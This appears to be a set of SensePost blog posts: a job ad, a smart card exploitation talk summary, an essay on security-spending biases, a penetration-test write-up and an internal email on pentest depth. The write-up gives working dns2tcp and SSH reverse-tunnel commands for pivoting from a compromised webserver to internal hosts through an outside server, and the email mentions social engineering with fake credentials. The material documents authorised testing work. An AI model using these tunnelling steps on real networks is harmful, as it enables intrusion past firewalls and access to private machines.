As we grow and operate on a number of continents, so does our dependence on a rock-solid IT infrastructure. We are expanding our repertoire to include a greater collection of Linux/Open Source/Windows and OS X products. With this, we are on the look-out for a rock star to wrangle control of our internal networks, external cloud infrastructure and help us us utilise technology in a way to make us even better.

Job Title: IT Network Packet Wrangling Penguin Master

Salary Range: Industry standard, commensurate with experience

Location: Johannesburg/Pretoria, South Africa

Real Responsibilities:

• Managing a growing internal network, both in ZA and UK and increased cloud-based infrastructure


• Championing the adoption of new technologies, ways of working and being incredibly excited about security. Yes, we like that type of person who scoffs at the idea of using a plain-text protocol

As a system / network administrator your daily duties and responsibilities will include:

• Providing day-to-day Desktop, Server and Network administration, including helping plakkers (the name we give to all who work at SensePost) with their devices


• Be capable of using a variety of operating systems


• Ensuring our disaster recovery plan is working as it should


• Being the go to person to all those who require assistance with their IT


• Maintaining and administer the telecommunications system


• Administering the network to ensure that the systems in place run effectively and securely (we are, after all, a security company!)


• A real passion for finding technology led solutions to problems.


• Be excited about Unix firewalls, Cisco routers, wrangling network packets, VPN tunnelling and Wi-Fi


• Able to hold a conversation and smile when mentioning SMTP/HTTP/IMAP/Python

Not essential, but bonus points for:

• Actually getting a linux laptop to use an overhead projector, without resorting to swear words in Spanish and Afrikaans


• Administering a Windows server without complaining, at all, not once, in fact, you actually kinda enjoy it.


• Being really passionate about security and showing it doesn't have to get in the way of working productively.

If the above has got you thinking 'weird, it's like they are talking to me bru!' then we want to hear from you. Send us a carrier pigeon message or send us a mail

Today's smart cards such as banking cards and smart corporate badges are capable of running multiple tiny applications which are often written in high level programming languages like Java or Microsoft .NET and compiled into small card resident binaries. It is a critical security requirement to isolate the execution context and data storage of these applications in order to protect them from unauthorized access by other malicious card applications. To satisfy this requirement, multi-application smart cards implement an “Application Firewall” concept in their operating system which creates an execution sandbox for card applications.

During the recent 44con conference in London, we presented the "HiveMod" reverse engineering tool for .NET smart cards and demonstrated the exploitation of a vulnerability to bypass the card's application firewall. The talk also highlighted threats and possible attack scenarios against smart corporate or military badges.

The presentation slides can be viewed below:

The following video shows exploitation of the "public key token spoofing" vulnerability on the .net smart card using the "HiveMod" tool:

Please contact SensePost research team for more information.

While doing some thinking on threat modelling I started examining what the usual drivers of security spend and controls are in an organisation. I've spent some time on multiple fronts, security management (been audited, had CIOs push for priorities), security auditing (followed workpapers and audit plans), pentesting (broke in however we could) and security consulting (tried to help people fix stuff) and even dabbled with trying to sell some security hardware. This has given me some insight (or at least an opinion) into how people have tried to justify security budgets, changes, and findings or how I tried to. This is a write up of what I believe these to be (caveat: this is my opinion). This is certainly not universalisable, i.e. it's possible to find unbiased highly experienced people, but they will still have to fight the tendencies their position puts on them. What I'd want you to take away from this is that we need to move away from using these drivers in isolation, and towards more holistic risk management techniques, of which I feel threat modelling is one (although this entry isn't about threat modelling).

Auditors

The tick box monkeys themselves, they provide a useful function, and are so universally legislated and embedded in best practise, that everyone has a few decades of experience being on the giving or receiving end of a financial audit. The priorities audit reports seem to drive are:

• Vulnerabilities in financial systems. The whole audit hierarchy was created around financial controls, and so sticks close to financial systems when venturing into IT's space. Detailed and complex collusion possibilities will be discussed when approving payments, but the fact that you can reset anyone's password at the helpdesk is sometimes missed, and more advanced attacks like token hijacking are often ignored.
• Audit house priorities. Audit houses get driven just like anyone else. While I wasn't around for Enron, the reverberations could still be felt years later when I worked at one. What's more, audit houses are increasingly finding revenue coming from consulting gigs and need to keep their smart people happy. This leads to external audit selling "add-ons" like identity management audits (sometimes, they're even incentivised to).
• Auditor skills. The auditor you get could be an amazing business process auditor but useless when it comes to infosec, but next year it could be the other way around. It's equally possibly with internal audit. Thus, the strengths of the auditor will determine where you get nailed the hardest.
• The Rotation plan. This year system X, next year system Y. It doesn't mean system X has gotten better, just that they moved on. If you spend your year responding to the audit on system Y and ignore X, you'll miss vital stuff.
• Known systems. External and internal auditors don't know IT's business in detail. There could be all sorts of critical systems (or pivot points) that are ignored because they weren't in the "flow of financial information" spread sheet.

Vendors Security vendors are the love to hate people in the infosec world. Thinking of them invokes pictures of greasy salesmen phoning your CIO to ask if your security chumps have even thought about network admission control (true story). On the other hand if you've ever been a small team trying to secure a large org, you'll know you can't do it without automation and at some point you'll need to purchase some products. Their marketing and sales people get all over the place and end up driving controls; whether it's “management by in-flight magazine”, an idea punted at a sponsored conference, or the result of a sales meeting.

But security vendors prioritisation of controls are driven by:

• New Problems. Security products that work eventually get deployed everywhere they're going to be deployed. They continue to bring in income, but the vendor needs a new bright shiny thing they can take to their existing market and sell. Thus, new problems become new scary things that they can use to push product. Think of the Gartner hype curve. Whatever they're selling, be it DLP, NAC, DAM, APT prevention or IPS if your firewall works more like a switch and your passwords are all "P@55w0rd" then you've got other problems to focus on first.
• Overinflated problems. Some problems really aren't as big as they're made out to be by vendors, but making them look big is a key part of the sell. Even vendors who don't mean to overinflate end up doing it just because they spend all day thinking of ways to justify (even legitimate) purchases.
• Products as solutions. Installing a product designed to help with a problem isn't the same as fixing the problem, and vendors aren't great at seeing that (some are). Take patch management solutions, there are some really awesome, mature products out there, but if you can't work out where your machines are, how many there are or get creds to them, then you've got a long way to go before that product starts solving the problem it's supposed to.

Pentesters

Every year around Black Hat Vegas/Pwn2Own/AddYourConfHere time a flurry of media reports hit the public and some people go into panic mode. I remember The DNS bug, where all that was needed was for people to apply a patch, but which, due to the publicity around it, garnered a significant amount of interest from people who it usually wouldn't, and probably shouldn't have cared so much. But many pentesters trade on this publicity; and some pentesting companies use this instead of a marketing budget. That's not their only, or primary, motivation, and in the end things get fixed, new techniques shared and the world a better place. The cynical view then is that some of the motivations for vulnerability researchers, and what they end up prioritising are:

• New Attacks. This is somewhat similar to the vendors optimising for "new problems" but not quite the same. When Errata introduced Hamster at ToorCon ‘07, I heard tales of people swearing at them from the back. I wasn't there, but I imagine some of the calls were because Layer 2 attacks have been around and well known for over a decade now. Many of us ignored FireSheep for the same reason, even if it motivated the biggest moves to SSL yet. But vuln researchers and the scene aren't interested, it needs to be shiny, new and leet . This focus on the new, and the press it drives, has defenders running around trying to fix new problems, when they haven't fixed the old ones.
• Complex Attacks. Related to the above, a new attack can't be really basic to do well, it needs to involve considerable skill. When Mark Dowd released his highly complex flash attack, he was rightly given much kudos. An XSS attack on the other hand, was initially ignored by many. However, one lead to a wide class of prevalent vulns, while the other requires you to be, well, Mark Dowd. This mean some of the issues that should be obvious, that underpin core infrastructure, but that aren't sexy, don't get looked at.
• Shiny Attacks. Some attacks are just really well presented and sexy. Barnaby Jack had an ATM spitting out cash and flashing "Jackpot", that's cool, and it gets a room packed full of people to hear his talk. Hopefully it lead to an improvement in security of some of the ATMs he targeted, but the vulns he exploited were the kinds of things big banks had mostly resolved already, and how many people in the audience actually worked in ATM security? I'd be interested to see if the con budget from banks increased the year of his talk, even if they didn't, I suspect many a banker went to his talk instead of one that was maybe talking about a more prevalent or relevant class of vulnerabilities their organisation may experience. Something Thinkst says much better here.

Individual Experience

Unfortunately, as human beings, our decisions are coloured by a bunch of things, which cause us to make decisions either influenced or defined by factors other than the reality we are faced with. A couple of those lead us to prioritising different security motives if decision making rests solely with one person:

• Past Experience. Human beings develop through learning and consequences. When you were a child and put your hand on a stove hot plate, you got burned and didn't do it again. It's much the same every time you get burned by a security incident, or worse, internal political incident. There's nothing wrong with this, and it's why we value experience; people who've been burned enough times not to let mistakes happen again. However, it does mean time may be spent preventing a past wrong, rather than focusing on the most likely current wrong. For example, one company I worked with insisted on an overly burdensome set of controls to be placed between servers belonging to their security team and the rest of the company network. The reason for this was due to a previous incident years earlier, where one of these servers had been the source of a Slammer outbreak. While that network was never again a source of a virus outbreak, their network still got hit by future outbreaks from normal users, via the VPN, from business partners etc. In this instance, past experience was favoured over a comprehensive approach to the actual problem, not just the symptom.
• New Systems. Usually, the time when the most budget is available to work on a system is during its initial deployment. This is equally true of security, and the mantra is for security to be built in at the beginning. Justifying a chunk of security work on the mainframe that's been working fine for the last 10 years on the other hand is much harder, and usually needs to hook into an existing project. The result is that it's easier to get security built into new projects than to force an organisation to make significant “security only” changes to existing systems. The result in those that present the vulnerabilities pentesters know and love get less frequently fixed.
• Individual Motives. We're complex beings with all sorts of drivers and motivations, maybe you want to get home early to spend some time with your kids, maybe you want to impress Bob from Payroll. All sorts of things can lead to a decision that isn't necessarily the right security one. More relevantly however, security tends to operate in a fairly segmented matter, while some aspects are “common wisdom”, others seem rarely discussed. For example, the way the CISO of Car Manufacturer A and the CISO of Car Manufacturer B set up their controls and choose their focus could be completely different, but beyond general industry chit-chat, there will be little detailed discussion of how they're securing integration to their dealership network. They rely on consultants, who've seen both sides for that. Even then, one consultant may think that monitoring is the most important control at the moment, while another could think mobile security is it.

So What?

The result of all of this is that different companies and people push vastly different agendas. To figure out a strategic approach to security in your organisation, you need some objective risk based measurement that will help you secure stuff in an order that mirrors the actual risk to your environment. While it's still a black art, I believe that Threat Modelling helps a lot here, a sufficiently comprehensive methodology that takes into account all of your infrastructure (or at least admits the existence of risk contributed by systems outside of a “most critical” list) and includes valid perspectives from above tries to provide an objective version of reality that isn't as vulnerable to the single biases described above.

On a recent assessment we came across the following scenario:

1) We have command execution through a web command interpreter script (cmd.jsp) on a remote Linux webserver 2) The box is firewalled only allowing 53 UDP ingress and egress

3) The box is sitting on the network perimeter, with one public IP and one internal IP, and not in a DMZ So we want to tunnel from the SensePost offices to Target Company's internal machines, with this pretty restrictive setup. How did we accomplish this?

1) Upload and compile dns2tcp to the target machine

2) Create a dns2tcp tunnel from target (dns2tcp client) to SPDNSTUNNEL (dns2tcp server)

• SPDNSTUNNEL is running a dns2tcp server offering two services, ssh and proxy. The dns2tcp client can connect from target to SPDNSTUNNEL's ssh or proxy ports over its 'TCP' channel. This is done with the following command, where we setup target to listen locally on 55555:

• ./dns2tcpc -z mooo.mooo.moooo -r ssh -l 55555 SPDNSTUNNEL.sensepost.com
• (Creating Target:55555 ---TCP/53---> SPDNSTUNNEL:sshPort).

3) Create an SSH tunnel from target to SPDNSTUNNEL, forwarding traffic from SPDNSTUNNEL through target to internal network

• Since we have a non interactive shell on the webserver we needed to create this tunnel with a single command with no prompts. We created a dummy user on SPDNSTUNNEL and created ssh keys for it. We uploaded the ssh keys to target and issuing the following command through an uploaded bashscript ssh-ed into SPDNSTUNNEL through the DNS tunnel:
• ssh -i /tmp/key -p 55555 -l tunnelUser-R 4444:intranetserver.target.com:80 -o "stricthostkeychecking=no" 127.0.0.1

4) What do we have now? We have SPDNSTUNNEL listening on 4444. Connections made to SPDNSTUNNEL on 4444 will connect to intranetserver.target.com on port 80. So the final step is to create tunnel from our assessment laptop, to SPDNSTUNNEL's 4444, allowing us to connect to the target's internal network from the comfort of our SensePost pods:

• Linux :: [glenn@localhost] ssh -L 3333:localhost:4444 SPDNSTUNNEL.sensepost.com -l glenn
• Windows :: Use putty's ssh tunnel option, setting "Source port" to 3333 and destination to "localhost:4444

5) Now, if we want to connect to different target internal machine what do we need to do with the above London Underground of tunnels? We need only to change the exit point on the compromised target machine's tunnel, all the other tunnels stay intact. So we leave the DNS tunnel in place, and tear down the SSH tunnel executing the following on SPDNSTUNNEL:

• ps auux | grep ssh | egrep '^tunnelUser' | cut -f 3 -d " " | xargs kill ; clear ; tail -f /var/log/secure
• (tailing /var/log/secure is useful, upon executing the ssh command on target we should see a connect from tunnelUser)

..and create a new ssh tunnel by executing a modified .sh script with the following in it from the target machine:

• ssh -i /tmp/key -p 55555 -l tunnelUser-R 4444:CEO_laptop.target.com:139 -o "stricthostkeychecking=no" 127.0.0.1

As you see the only change in the whole setup is the internal target machine and point in this one command. We can now connect to the CEO's laptop's samba share by smbclient-ing to our assessment laptop on port 3333.

See the attached picture for a summary of the above.

-Glenn

Hi guys...

Just a few words to allow me to semi rant, because im secretly someone who wishes he had a blog and emails like this are better cause you guys are a semi-captive audience..

Recently i heard a few questions similar to "Isnt that too much for what they (the customer) are paying for?" or "Where do we draw the line?" etc.. They are reasonable questions and i thought i'd give my 0.000002c on it officially..

i have 2 general guidelines that cover most situations :

[a] We stop when we stop adding value.. {if u can prove the point by hacking 2 boxes you dont have to hack 200} [b] We stop when we have earned the customers trust/respect/ears

[b] is slightly tricksy.. it means using ur judgement a little more than [a] does.. It is generally what makes us perform a social that involves Telkom, fake creds, and even possibly fake router boxes on a standard "3rd party router configuration assessment" because we _needed_ to go in hard..

The difference between us and a XXXXXX / YYYYYYY / insert_name_here is not that we are smarter than them (cause they had/have some wicked smart ppl) but that we almost always want to give more value.. and its what has made SensePost the name that it is.. It occured to me today while discussing what we do on a firewall rulebase assessment that what we do.. is what it takes to make the point / id and fix problems..

to labour the fw point, its howcome "rule-base assessments" in the past have included us going onsite to compromise the fw-admins machine, going to a 3rd party to compromise a shared host and going on-site to see if we could social access to the Rule-base when we knew the fw-admin was on vac..

Im not saying we need to be dramatic.. those cases all happened because we felt the customer had administrative problems, and we felt they needed to see the repercussions to believe it.. What i _do_ want to stress though is the thinking.. We dont aim to finish the report so that it looks like the last report someone did, we aim to do whatever we need to do to make the point we most think the customer needs to grok...

Thats why we get the big bucks.. cause we make clear what they need to grok...

With that line in mind (by the way), im introducing a new negative point for report QA'ing which im calling a "lazy point" deduction.. This refers to those times when we provide the customer with data, expecting them to do the analysis. _We_ do the analysis.. thats why we get... ;>

Breaking into companies is fun, but you will find the novelty wears off, and you stop feeling cleverer than devs the first time you have to dev something, but what makes our profession leet, is the ability to make a difference.. Yesterday peoples private medical records could have been all over the web.. today they r not because George did a leet web-app test on XXXX , or because rob had them restore sanity to their rule-base.. its a lot of power and should leave you with a warm fuzzy feeling long after the dust settles..

Conversely.. if u broke them "stukkend", and showed you know 10*(what their devs know) and called them idiots.. but have not really made them get it / better for the experience.. you might as well not have done the work at all...

so.. when is it done? when we have done what we think its going to take to make them get it..

/mh